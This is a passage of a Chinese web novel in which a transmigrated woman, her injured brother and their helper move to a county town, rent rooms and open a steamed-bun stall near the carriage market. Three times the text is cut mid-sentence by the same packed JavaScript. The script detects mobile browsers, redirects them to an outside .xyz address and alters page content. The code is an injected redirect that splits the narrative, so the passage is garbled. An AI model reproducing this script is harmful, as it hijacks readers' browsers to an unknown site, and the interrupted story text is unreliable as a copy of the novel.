“我看今天这个数目差不多，接下来几天咱们都按这个分量做就行。”薛克礼跟薛慧说。 有“铁拐李”的照应，他们的包子生意做得不错，在草台赌场离开他们村子的时候，薛慧拿了两千三百文钱给薛克礼。 “这钱你拿着，家里头该添置米粮菜蔬什么的，不都得用吗？”薛克礼不收。 薛慧摇头：“粮食确实少了不少，我这阵子做包子，调料也用去了一些，正好搬家轻省了。这钱，咱们就用来在县城赁个住的地方吧。” 经过了几天慎重的思考，薛克礼同意了她去县城的建议，现在他们就要准备起来了。 8. 搬进县城了 之前在镇上开铺子的时候，薛克礼也是去过县城的，对那里倒也不是两眼一抹黑。 他看着墙角的杂物说：“咱们要去县城做小买卖，我想着还是去城南寻个地方住着，那里住的都是寻常百姓，赁个小宅院也便宜些。” 薛慧却是在现代社会吃够了大城市通勤的辛苦，首先想到的是路上的问题：“那咱们在哪里摆摊呢？若周围都是寻常百姓，会不会没人买？要是去人多的地方，来回路上要多久？” “要是还卖包子的话，去城东那一片儿好些。”刘义跟着薛克礼也去过县城，因为做的就是跑腿的差事，对县城更熟悉些，“那边有些铺子，还有镖局、车马行、武馆，来去的人多，有几个钱在身上，但又不是什么贵人，恰好合适。” 薛克礼显然也是这么打算的：“不错，咱们在城南住着，到城东去摆摊子，走路大约一刻钟的功夫，也不算太远。” 他们现在所有的身家也不过五两多银子，买车甚至租车都是不可能的，肯定是要靠人力，距离不远的话就再好不过了。薛慧对此没有异议：“左右我也没去过，你们觉得妥当就好，倒是这个摊子，我想着就还卖包子吧，相对来说不那么麻烦，你们看呢？” 刘义瞪圆了眼睛：“合着咱们说了半天，难道不是打算卖包子的吗？我琢磨城东，就是打算卖包子的啊。” 薛克礼笑了笑：“还真是。这些日子挣了几个钱，我的脑子也死板了，一直想的也是去县城卖包子。” “啊这……天下好吃的那么多，又不是只有一个包子啊。”薛慧无语，“好吧，既然你们都是按卖包子踅摸的地方，那就先这样吧，总要走出去再说。” 薛克礼看着她，认真道：“等咱们日后做大了，也开个大酒楼，你当东家，哥哥给你当掌柜的。” 刘义也凑趣：“那我就给你跑堂，咋样？” 薛慧摆摆手，站起来：“你们倒是挺相信我的，得，等咱们挣了银子再说吧，眼下还是一穷二白一身的债呢。那二哥，你跟刘四哥这几日先找个落脚的地方租下来吧？咱们好搬家。对了，这些日子米粮消耗了不少，估计再搬家的话，车上能腾出不小的地方，我要不要在村里买些菘菜柴禾什么的？县城里贵吧？” “找宅子的事儿明天老四去趟县城，咱家想在吃食上讨生活，你找个厨房得用的，最好院子里有井，不行也得离井近些。”薛克礼分派起任务来，“咱们商议完了，你就扶我去趟里正家，借他家的骡子车搬家。三娘知道他家车多大吧？你看着买便是，县城里确实什么都要贵一点的。” 薛慧点头，又提醒道：“别说借吧，咱们给车钱，不能白让人家给咱搬家啊。还有，你们最好让敬东大哥走这趟。” 她这么说，刘义就一挑眉头，看了她一眼。 薛克礼瞧见了，却没有当场发问：“放心吧，连这窝棚，咱们这半个多月也不白住，我理会得。” 薛慧不知道县城的房租和物价是个什么水平，但是既然薛克礼都说了那里要贵一点，她就趁着天色还早，去了村子里，可着骡子车的大小，买了十来颗大白菜并几十斤萝卜，又去村边的山脚下捡了些干柴。至于肉，她专门去了陈屠户家说了一声，提前定下了五十斤，等定好了搬家的日子，一大早来拿，这样第二天就可以在县城摆摊了，不会坏掉。 薛克礼他们跟陈里正家也说好了。陈敬东一口应承下来，必要帮他们把家搬好了才回来，陈里正也说了几句勉励的话，这会儿也没提费用的茬儿。 “在镇上搭牛车骡车去一趟县城怎么也得十个钱，咱们是三个人，又搬东西，我打算给敬东一百个钱。”薛克礼跟薛慧说，“另外这窝棚，确实不值几个钱，咱们在这儿住了半个月，给五十个钱不少。” “行，那就是一百五十文，我先给你数好。算了，我就要一两银子买肉，剩下的你收着算帐吧，帐房先生。”薛慧一开始抵不过薛克礼的坚持，自己收着卖包子得的钱，毕竟也得去买肉什么的，可是现在方方面面的事儿都挺多，她觉得麻烦，又推了回去。 薛克礼这会儿也不推辞了：“行。你只管做包子就已经够累了，回头只管着你自己的私房银子便是。这两千三百文，去掉一千一百五十，正好少了一半，剩下的赁屋子肯定是不够了，那三两还得拿出来添上些。你别急，我不是不治腿，等咱们的摊子支起来，日日都能进钱，我自然就能治了。” 薛慧点点头：“行，都听你的，二哥。” 薛克礼非常拎得清，脑子又好用，薛慧觉得，她穿越过来最大的运气可能就是有这么个哥哥了。 刘义的办事能力也很不错，第二天下午回来就跟薛慧兄妹说：“我在县城遇上了熊九的一个小弟，那不是吃了我一顿酒嘛，领着我找了个认得的牙婆，在城南金鱼胡同寻了个小院子。自然不是整个院儿，是厢房，两间东厢，一间西厢，虽说是厢房，倒挺宽敞，我瞧着还行，就先定下来了，给了一百文钱定钱，房东说随时都能搬进去。” 薛慧觉得有点儿不靠谱，但是薛克礼却很满意：“金鱼胡同倒好，离车马市那一片儿更近了。租金呢？多少？” “三间厢房，每间都是一个月三百文，一共九百文。房东说，院子里打了井，水随便使，倒座的棚底下可以放个手推车什么的，不能有牲口。再就是夜香垃圾这些得自己花钱给收夜香的，他们不管。屋子里有张木头床，旁的什么都没有。哦，对了，房东是一对夫妻，带着两儿一女，听说是老子死了分家分的小宅子，两口子带着俩小的孩子住正房，大儿子住了一间西厢，剩下的赁了贴补家用。”刘义噼里啪啦的一口气说完。 薛克礼点头：“这就不错了。熊九这个人虽然凶恶，倒不算太奸猾，他手底下那些人也差不多，这般倒是真个帮了咱们一个忙。既然你都给了定钱，咱们明日一早就搬吧。” 薛慧没质疑。薛克礼显然更明白这个时代的规矩，他说没问题应该就是没问题的。她只问：“租金是一个月一付吗？” 刘义摇头：“他们说要一年一付，我哪能答应啊，跟牙婆一起商议了半天，因为这就九月半了，议定的是这一次付到年底，来年怎么个租法再商议。” 这么说，这一次就要付三个半月的房租，一共是三千一百五十文，果然让薛克礼说中了，必要动用那三两最后的存银。 薛克礼倒是神色轻松：“行，就这么着吧。你跟我去里正家一趟，三娘去买肉吧，咱们明天一早取了肉就出发。” 薛家原本就人丁不旺，现在败落了，兄妹俩去县城谋生的消息也没传开，除了里正一家和陈屠户一家之外，他们也没朝外提起，再加上他们从窝棚里直接走，也没惊动村里，因此第二天除了陈屠户给送了一大块猪肉之外，并没有人来送行。 薛慧几个天不亮就起身了，把铺盖一卷，粮食青菜往车上一装，窝棚也就空了。 陈敬东长得更像陈张氏，但是一开口说话就活脱脱一个年轻版的陈里正，路上跟薛克礼和刘义不急不缓的聊着，气氛也还不错。 他们这个陈刘庄离县城其实并不十分遥远，天亮出发，没过午就到了。 房东赵江是给西城里一家大户当护院的，去上差了，他的老婆赵胡氏在家，听见动静就带着两个年幼的孩子迎了出来。一瞧这阵势，又认出了刘义 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521471|170737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，便让小儿子飞跑去把牙婆叫来。 正儿八经签了契书，薛克礼付了三个半月的房租，赵胡氏收了银子，把三把钥匙交给了他，就带着孩子们回了正房。 陈敬东帮着搬下了东西，接过了薛克礼给的铜钱，发现比约定的车钱多了许多，连忙推辞，架不过薛克礼和刘义两个人的推搡，也就收了下来，留下话让他们有困难就回村里便回去了。 薛慧全程围观，觉得古人还是非常诚信的，她暗自防范的各种租房会出现的套路陷阱都没有出现，现在他们在县城已经有了落脚的地方了。 刘义主动要住西厢，让薛慧兄妹俩住相连的两间东厢，他们俩也没推辞。被褥铺好，粮食柴火什么的都搬进了薛慧的房间，他们就算是正式入住了。 “只剩一两银子了，刘四哥，等吃完饭让我二哥歇着，你带我上街去瞧瞧吧，看看咱们在哪里摆摊合适，而且，最要紧的，得寻个手推车才是呢。”薛慧看天色不早，便点着了柴火，用小炉子馏上馒头，又去洗白菜，“幸好带出来一个小缸，不然每次用水都得现从井里打。” 薛克礼也同意：“行，你们去吧。银子拿上，都花光也无妨。” 薛慧不确定是不是自己的错觉。她觉得薛克礼的神色似乎轻松了许多，和在家中强打精神的样子不同，他这会儿是从内向外的松泛，也许换个环境真的对他平复心情有好处。 她没点破，只顺着说：“你放心，我很快就能让你赚回来啦。” 实际走在县城的街道上，薛慧才发现，金鱼胡同的小院离车马市大街是真的很近，估计也就一公里的样子，非常方便。小推车正好也在这条街上卖，刘义领着她去看了一圈儿，最后俩人合计着买了一辆稍微宽一些的，花了六百五十文。 薛慧有点儿肉疼。 车行的伙计笑嘻嘻的一边收钱一边说：“小大姐儿，你们以后要是发财了，换大马车了，这车你还能拿回来卖给我们，当然得折点儿价钱。” 这也行？ 薛慧听着有趣，却没再问，只笑了笑说：“借你吉言，我家要是真发财了，肯定来你这儿买马车。” 手里只有三百五十文了。薛慧现在很光棍，跟刘义说：“刘四哥，咱们怎么才能定下个摊位呢？定好了我就把这些钱全花了，明天好来大展身手。” 刘义推着手推车，微笑道：“你往前看，那里站的那个，穿着圆领短衣的，瞧见了吗？他就是管这事儿的，咱们找他登个人名，交五文钱，就能在街上摆摊了。” “一天五文还是一个月五文？”薛慧问。 他们一边说着一边就走近了，身形微胖的小吏正好听见，就笑了：“小丫头没见识，自然是一天五文啦。” 薛慧也不恼，连忙行礼：“大人，我们想在这条街上摆个摊子卖些包子油饼什么的，劳烦您通融通融？” “五文钱交了，这条街随便哪儿你摆摊都行，只一条，有眼力见儿一点儿，别摆在人家买卖门口。”对于这两个生面孔，小吏并没耍什么威风，挺和气的，“也别管我叫啥‘大人’，我姓纪，叫我老纪就行。你们这是……兄妹俩？” 不等薛慧说话，刘义就道：“纪大人，这是我们东家小姐，我家少爷的妹子，我是我家少爷的跟班，小姐少爷都是和气人，乐意跟我说话罢了，我可不敢高攀。” “这样啊。”纪小吏点点头，“行吧，你们明日就要摆摊？” 薛慧连忙道：“正是，不知道行不行？” “行啊，有啥不行的？明早先给我五文钱，我给你寻个人多的地方。”纪小吏大包大揽的，“明儿你们就只管好生发财便是。” 9. 肯定能发财 摆摊的事情打听明白了，薛慧和刘义便不耽搁，赶紧回家准备起来。 出去的时候两个人空着手，回家的时候多了一辆手推车，赵胡氏去院子里提水，一抬眼看见了，便笑着问了一句：“薛姑娘，这是要开张了？” “赵嫂子您别客气，叫我三娘就行。”薛慧连忙摆手，“不瞒您说，我家现在就我跟哥哥了，地也没有，总要有个生计不是？这不刚打听好了，想去车马市那边儿摆个摊子卖包子呢。” 住在一个院子里，出出进进的，这些肯定不是什么秘密，薛克礼他们平日不方便跟赵胡氏多说话，自然得她来。已经来到了这个时代，薛慧也不能特立独行，要学着适应这里的市井生活。 “车马市啊？我娘家嫂子的娘家就在那里开着铺子，不过是开脚店的，跟你们这吃食生意搭不上。”赵胡氏就是县城人，对这里非常熟悉，想了一下，指点了薛慧一句，“那边儿不是老纪管着吗？就是衙门派过去管事儿的，你见过了吗？那人还算厚道，就是吧，有一点儿贪小。” 薛慧立刻认真起来，十分虚心的求教：“这怎么说？我们正愁着不了解他，怕哪里不周到惹了他不得劲儿呢，嫂子您可是及时雨啊，点拨我一句，得让我们少走多少弯路！” “没看出来啊，你个小丫头还怪会说话的！就凭你这张嘴，三娘，你跟你哥准能发财！”赵胡氏显然对薛慧诚恳的吹捧十分受用，也不藏私，“我可不敢点拨你，就是打小在那一片儿长大，熟悉些。老纪那人吧真算是好的了，就是呢，有点儿爱面子，也有那么一点儿……你不是做吃食买卖吗？隔三差五的给他送点儿。每日摆摊子的税钱呢，你偶尔的数错了，多给一点儿。平日里恭敬着些，逢年过节的送点儿礼，平时要是不忙，让你哥请他喝个酒，明白不？” 薛慧瞪圆了眼睛，嘴巴微张，连连点头：“明白了明白了！多谢嫂子！真是醍醐灌顶啊！” 赵胡氏摇摇头：“哪里就说得上那么文绉绉的了？就是我不说，你在街面上待的时候长了自然也知道的。” 薛慧去了薛克礼的房间，刘义早就进来了。他们商议过了，以后吃饭或者说话就都到薛克礼的房间来，这样方便一些。 “二哥，你们在屋里听见了吗？”薛慧压低了声音问。 薛克礼点头：“房东娘子没必要骗咱们，明日咱们去了就先拿几个包子孝敬老纪便是，反正就算没有她这番话，咱们也该懂得些眉眼高低的。” “嗯，我也是这么想的，一上来就送钱有点儿冒失，还是先送一点儿吃的稳妥。”薛慧赞成，“对了，剩下的三百五十文都在这儿了，你收着。等会儿吃了饭我就睡了，明日要早起做包子呢。” “方才你们出去的时候，我去你屋生了火，把你昨儿包的素包子馏上了，这会儿应该能吃了，咱们一边吃一边说吧。”薛克礼从前虽然不以大少爷自居，但是厨房是从来不进的，可是这段时间天天看着妹妹忙碌，心中不安又愧疚，便学着做些简单的饭，想要帮一把手。 薛慧回屋把蒸锅端下，添了一壶水放在炉子上，用剩下的一点儿柴火烧着，就盛了包子出来。 薛克礼吃完一个包子就放下了筷子，说起自己的想法：“我想着呢，我跟老四两个人卖包子足够了，你就别出面，只管包包子蒸包子就是，毕竟你也不小了，不好太抛头露面的。” 薛慧心里不赞成这种迂腐的论调，不过没有反驳，这也是薛克礼作为哥哥想要保护妹妹的一片心意。但是，“哥，咱家没有那么大的锅，一次蒸不多，不够卖的啊，要不，我还是跟着你们出门吧。把炉子放在车上推着，到时候你们一边卖，我一边赶着蒸，新出笼的包子，现蒸现卖，更吸引人，瞧着卖相也更好。” 刘义点了点头：“还别说，这个法子好！” 薛克礼想了一下，也同意了：“那就这样吧。再就是价钱，咱家现在这些肉、菜、面粉，都是老家带出来的，比县城里现买的便宜，但是早晚都得用完，以后就还得按县城里的价钱算成本。” “其实现在这些也按贵一些算也使得，别忘了，咱们还得送礼呢，也有损耗的。”薛慧指指正房的方向，“多少也得表示一下不是？” 薛克礼点头：“行，那就这么算。猪肉菘菜的包子，咱们算成本三文钱一个，应当是够了，那么卖四文一个？” 薛慧点头：“我觉得别的馅儿，什么萝卜啊芹菜啊什么的，只要是肉菜的，都可以这么算，反正咱们就用应时的菜，不买太贵的。另外我还想卖纯肉的酱肉包子和猪肉大葱包子，里头全是肉，怎么也得贵一些，成本得四文一个，卖五文吧。” 刘义不解：“赚头都一样的话，干嘛还要做那么多花样？太累了。” 薛慧一摆手：“这你就不懂了，可选的多，客人才会愿意来买啊。你今天吃了菘菜的，明天要不要再来尝尝纯肉的？” 刘义其实问出口的时候也想到这一点了，这会儿就点头：“是是是，是这么个道理。不过做那么些，要不剁肉的活计我来吧，往后卖得多了，你光剁肉，胳膊就得抬不起来。” 薛克礼也说：“还真是。老四你就帮着剁肉吧，这一阵子我也顾不上旁的，又加上手里是真的没银子，也没给你算工钱，这就给你补上，往后还按原来的日子给你支。” 刘义连连摆手：“二哥，你再困难不也管我吃管我住了吗？谁家的伙计跟主家少爷小姐吃一样的饭？嗯，比你们吃得还好哩，你们守孝，我还尝过肉包子。工钱不工钱的，等生意做起来了再算就是，反正我一个人吃饱全家不饿，家里还有一亩地，一年我也有二百斤粮食呢。” 他的事儿薛三娘知道，因为他很小就跟着薛克礼，当初工钱给得不多，一个月就给一百文，不过薛家管吃管住，还管四季衣裳，他的生活一直不差。前几日薛慧眼见的，他拿着这些年攒下的七八两银子，自己在村里买了一亩地，立了户籍，跟他大伯家事实上分了家。 “一码是一码。”薛克礼坚持，“住就这样了，吃也跟咱们一起，不过往后你的衣裳，我就不管你了，总不能让我妹子给你做衣裳吧？一个月三百文吧。若是你还愿意跟着我，往后日子好了，我必不会亏待你，你若是找了更好的营生也尽可以走，我没有二话。” 刘义抿着嘴，好一会儿才说：“好好的说着包子怎么卖呢，这会儿都说远了。东家愿意给我涨工钱，我有什么不高兴的？” “那就这么定了吧。两种馅儿的包子，肉菜的四文一个，酱肉的五文一个。”薛慧站起身，“我得去检查一下推车和柴禾，然后简单切切肉，不然明早光剁肉都来不及。” 老家带来的五十斤肉，一天肯定用不完。薛慧估摸着斤两分割了一下，装到大盆里，放在倒座背阴的架子上，晚上天冷，不会变质。接着，她用面肥发了面，也放在倒座，留着一晚上慢慢发酵。 天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521472|170737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没黑透，薛慧就上床躺下了。 这一天对她来说挺长的。那么大老远的搬家，租房，入住，接着买小推车，打探消息，为明天第一天摆摊做准备，一刻也没得闲。 根据之前的经验，她在心里粗略的估算了一下，家里这五十斤肉用完的时候，菘菜和面粉恐怕也都要用完了。调料和油估计也得买，看来哪天收了摊子，她还是得在县城里转悠转悠才行。不过这些肉也放不了多久，最好是两三天内就用完…… 赵家放在厢房给租客用的只是最便宜的木板床，但也比窝棚里的干柴枯枝好多了，褥子一铺，薛慧只觉得格外舒服，想着事情，不知不觉就睡着了。 不过毕竟睡得早，她醒得也早。 她没有表，不知道现在是什么时辰，反正天还没亮，院子里一片漆黑。 她点上了家里带出来的油灯，套上夹袄，走到倒座，把面盆端进来，又从肉盆子里挑了大约七八斤肉拿进来，关上门剁肉。 她这里有了动静，很快，薛克礼就起来了，拖着伤腿扶着墙过来敲门：“三娘，我帮你吧。” 薛慧一开门，就瞧见刘义也开了门，却踌躇着不敢过来，便对薛克礼说：“二哥，我这儿用不着你们。这个小炉子你让四哥端出去，你们先做上咱们的早饭吧。对了，这会儿什么时辰了？” 薛克礼看看东方的天色，估计道：“许有寅时末了。咱们做什么饭？小米稀饭？” “行，煮稠些，还有几个鸡蛋呢，也都煮了吧，锅在那儿呢。”薛慧指了指，让他自己拿，就回去接着剁馅儿了。 七八斤肉剁完，薛慧只觉得胳膊酸痛难忍，肚子也饿得咕咕乱叫。她洗洗手，出去抓了个杂面馒头就啃。两口馒头下肚，她才接过薛克礼递过来的鸡蛋，三口吃完，差点儿噎住，连忙灌了一大口小米汤，才好歹缓了过来。 不等薛克礼说话，刘义就先说了：“可不能这样了，不然晚上我就先把明天的肉剁了吧。” 薛慧摇头：“提前弄的不新鲜。不过你可以先帮我切成小块儿，就这么定了。赶明儿我去肉摊子上问问，能不能让他们给剁成肉臊子。” “不行就加几文钱也无妨。”薛克礼说。 “嗯！咱们生意开了张，肯定能发财，到时候不差那一点儿！”薛慧笑着给他们鼓劲儿。 天光大亮的时候，他们收拾东西出了门。手推车上放着一只炉子和柴火，一个家里最大号的蒸锅跟两层蒸屉，另外还有一个大面盆，上头盖着面板，角落里有一大一小两盆包子馅儿，盆子上面也盖了板子。炉子里火苗烧得旺相，蒸屉边上飘散着白气，里面正蒸着包子。肉包子的香气已经悄悄的散开了。 刘义推着车，走得很稳。薛克礼侧身坐在推车的一边儿，薛慧就跟在推车旁边走着。 到了车马市，果然如刘义所说，这里南来北往的人挺多，这个时间已经有很多早起赶路的人了，街上明显比之前的街巷热闹。 街上也有卖早点的摊贩，几处摊子处都有生意。 他们初来乍到，不想太过张扬得罪人，便寻了一处人不算多的地方，停下推车开始摆摊。 叫卖的活计自然是刘义来做。 他刚喊了一句“卖包子——”，薛慧这里的两笼包子就蒸好了，她把蒸笼端下来，放在板子上，往蒸锅里添了水烧着。等了片刻，她把蒸笼盖子一掀，浓郁的酱肉香气一下子引来了众人的目光。 10. 小吏老纪 在家里的时候，薛慧已经蒸了两笼屉、三十多个猪肉白菜的包子，装在大竹筐里，上头盖着干净的白布，而现在出锅的则是酱肉包，肉香特别醇厚浓郁。 这个酱肉包是薛慧前世时候最喜欢的。用葱姜末一起炒肉末，然后加甜面酱和黄豆酱，再加上一点儿泡发的香菇碎，完全炒熟之后再和切好的小葱一起拌成包子馅儿，包出来的包子甜咸适口，酱香浓郁，咬开之后浓油赤酱的视觉效果也让人食指大动。 香菇不便宜，不过泡发之后的分量重了许多，好歹能平衡一下包子的成本，薛慧特意把剂子切得小了三分之一，这样每一个包子的成本就能控制在四文钱以内了。 这会儿时间还不算特别晚，起得略晚些的人们也有很多还没吃早饭，就有人闻着味儿过来了。 “老吴家的包子有长进了啊？今天闻着挺香。” “哪是老吴家的啊，你看，新来的！” “哦？还真是，过去瞧瞧！” 刘义原本在薛家的铺子里做的就是招揽客人的活计，这会儿也不用吩咐，堆起满脸的笑容来：“大哥，闻着香味了吧！我们家的包子是家传的秘方，闻着香，吃着更香啊！您来两个尝尝？猪肉菘菜大包四文一个，浓香酱肉包五文一个！” “五文钱一个可不便宜了啊。”搭话的人是从客栈方向过来的，嘴里说着“不便宜”，手却伸了过来，“每样来一个，先尝尝。” “得嘞，收您九文！”刘义抽出一张油纸，包了两个包子递给他。 薛克礼瞧着，回头跟薛慧说：“你倒是心细，还想着备下了油纸。” 薛慧正把案板上二次醒发得差不多的包子捡到蒸屉里，头也不抬的说：“咳，就是搬家的时候想着能拿多少就拿多少，厨房里能带走的零碎东西我都划拉上了。之前你们在村里卖的时候我也没想起来，反正那起子赌徒们也不计较，如今咱们要正经做这个生意，就不能太不讲究了，干净些总是好的。” “正是这般。”薛克礼点头，视线落在薛慧的发顶上，感慨的叹了口气，“我还总觉得你是个小丫头呢，你都长大了，又能干又精明，事事周全。” 薛慧把蒸屉的盖子盖好，转脸跟他笑了笑：“二哥你可别夸我了，没得让人听见了笑话。” 他倒是从来没怀疑过自己换了芯子，甚好。 “二哥！二哥！”刘义忽然小声叫起来，“老纪来了！快准备好钱！” 薛慧连忙提醒：“装几个包子，别忘了！” 他们忙活了一早上，纪小吏却并不会特别早过来，反正只要想在这里讨生活，谁也不会逃那五文钱的税钱。他远远的就瞧见薛克礼他们了，但并没有马上过来，而是不急不慌的一家一家收钱，慢吞吞的走近。 “纪大人您辛苦啊！”刘义送走买包子的客人，连忙热情的跟老纪打招呼，接着回头跟薛克礼介绍，“二哥，这就是管着咱们这儿的纪大人！” 薛克礼原本是靠坐在手推车边上的，这会儿连忙站起来，抱拳作揖：“小子薛克礼，见过纪大人。” 老纪一摆手，笑呵呵的打量他：“哎呀，都说了，别叫啥‘大人’，我算个啥‘大人’啊？你就是这小子说的东家少爷啊？哪里人氏？” 薛克礼半低了头，十分认真的回话：“我们是青沟镇陈刘庄的，如今家道中落，靠妹子的手艺讨口饭吃，早不是什么‘东家少爷’了。” “嘶——”老纪微红的脸上已经没了笑容，“你姓薛，青沟镇的，还家道中落，你莫不是让山匪绑了票的那个薛家的吧？” 薛克礼点了点头。 “哎哟！哎哟！这是怎么话说的？唉——大难不死，必有后福，往后的日子会好过的。”老纪似乎不是很会安慰人，但是显然比方才的满脸笑容要诚恳许多。 “借您吉言。有您照拂着，小子自然是有后福的。”薛克礼又拱了拱手。 薛慧有些惊讶的悄悄挑眉。这个哥哥居然这么会说话的吗？ 老纪听着这话，果然非常受用，哈哈一笑：“到底是见过世面的少爷，说话就是中听！不过这税钱是给朝廷的，我可不能给你们通融啊。” 薛克礼递上五文钱，等他收了，又拿起刚刚包好的包子递过来：“您辛苦，我们头一天开张，也没什么好东西，几个包子，您赏脸，尝尝？” “哟！这就客气了啊。”老纪嘴上这么说着，手却很诚实的接了过去，还闻了闻，“方才那那头我就听见人说了，新来的卖包子的味儿好，还真是！这么香的肉包子，破费了啊。” 薛克礼笑笑说：“得您一句夸赞，那就是我们的活招牌，是我们得谢谢您才是哪！” “行啦，我也别耽误你们发财，走了走了。”老纪看着很馋的样子，却并没有动那几个包子。 走出去两三步，他又回头补充了一句：“对了，这里也没有栅栏大门，便是待到天黑也没人管你们的，不过有一条，你们站的这一片儿，要是有垃圾，得自己拾掇利落喽，不然明儿我要罚钱的！” “多谢您提点，您放心便是。”薛克礼又拱了拱手。 薛慧一直没说话，等人走了，她才一边张望着一边小声说：“他怎么光看不吃呢，是不放心咱们吗？还是看不上这几个包子？”四个菜肉包，两个酱肉包，一共六个，凑了个吉利数，应该没惹到他吧。 薛克礼和刘义都不知道，这会儿也担心礼送岔了。送礼嘛，得送到人心里才行，送了吃的，人家吃了，这才算是送到位，人家接了不吃，总有点儿不踏实。县官不如现管，别看是个不入流的小吏，若是真拿捏一下自家，那也够他们受的。 刘义有些懊恼的说：“都怪我，该再多打听一些的，万一咱们惹恼了人家，还不如不送呢。” 旁边支着大锅炸油果子的大叔听见了，扭头跟他们说：“你们甭担心，没事儿！他划拉了东西都不吃的，都拿家里去。” 刘义很上道，立刻就问：“怎么说怎么说？纪大人不是瞧不上我们的包子？” “哪儿能啊，咳，你们日后就知道了，他家里啊，紧巴着呢！”大叔现在没有生意，便凑过来聊上了，“在这儿年头多的都知道这事儿。他有个瞎眼老娘，还有个瘫子大哥，一个侄女，两个儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521473|170737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子一个闺女，并他婆娘，这么多人口，就靠他这点子俸禄和他婆娘到处给人家洗衣裳活命。咱们这些人给孝敬，也就是酒，他喝两口，剩下的都拿回家给老的少的了。” 薛克礼就叹了口气。 刘义也不再嬉笑，感慨道：“原来他这样当官的也过得这么苦啊。” 大叔“嘿”了一声，连忙摆手：“你们还是年轻！咱们整个县城里那么多在衙门里讨生活的呢，又不是家家都跟他一样，有的是富得流油的！他家啊，也是倒了大霉！” “他哥当年干的可是捕快，威风着呢！可惜时运不济，听说是哪里闹山匪，他们去剿匪，让山匪一刀砍在腰上，就瘫了。咱们唐县丞呢也算是照应他，让他家里出个人把这个名额顶了，往后还能领一碗公家的饭，可他就一个闺女才一岁，没奈何就让他兄弟顶了，就是老纪。就为这事儿，他媳妇扔下闺女回了娘家，和离改嫁了。” “老纪那时候才刚娶了媳妇，都没有孩子，他又打小病病歪歪的，刀都拿不起来。他老娘就去唐县丞家里哭求，哦对了，老太太那眼就是那些时日哭瞎的。唐县丞的原配娘子是个厚道人，瞧着不忍，就跟唐县丞说情，这不唐县丞就叫他过来管着这一片儿，收个税、管管咱们，照顾他呗！老纪当着街坊四邻的面儿发了誓，往后照管他哥跟他侄女一辈子，这么些年还真是做到了，也是不容易。” “一夜之间倒了顶梁柱，家里还多了两个残疾人，唉，确实不容易。”薛慧想起原主的记忆来，“难怪我跟娘去报官，衙门里的人都推托，说什么请示上头调兵过来得猴年马月，反正他们是去不了，当年可是有人差点儿丢了命什么的，原来还有这事儿。” 说话间，又有几个客人来买包子，薛慧更是一刻不耽误的蒸新包子。 可喜的是，这么一会儿，就有回头客了。第一个买包子的人又回来，一口气就买了五个酱肉包，又问他们明早还来不来，要是来的话，他就不吃早饭了，专门等着这口包子。 刘义连忙保证：“明天肯定来！大官人吃得中这一口，咱们绝对不能让大官人久等不是？” 那人哈哈笑着离开，便也有听了一耳朵的行人过来买两个带着路上吃。 根本没等到午饭时分，薛慧准备的所有包子就都卖完了。 她一共包了九十四个猪肉白菜包子，还有三十三个酱肉包，扣去给老纪的六个，剩下的全部卖掉，一共收了五百一十五文钱，利润在一百二十文左右。 收摊回去的路上，薛慧十分懊恼：“是我没计算好，这还有大半天的时间呢，白白浪费了。” 薛克礼微笑着说：“怎么是浪费呢，咱们第一天开张，这样已经很不错了。最辛苦的人是你，你怎么还懊恼上了？下晌就好生歇息，再不然，你不是也说调料什么的不多了吗，叫刘义跟你去瞧瞧，买上些吧。” 今天赚这些钱的本钱其实还是家里的存粮和钟家还回来的银子，都是家里的钱，薛慧想了一下，就提议：“二哥，连上我之前还给你的那三百多文，咱家现钱也有八百多文了，要不下午咱们去医馆给你瞧瞧腿吧？”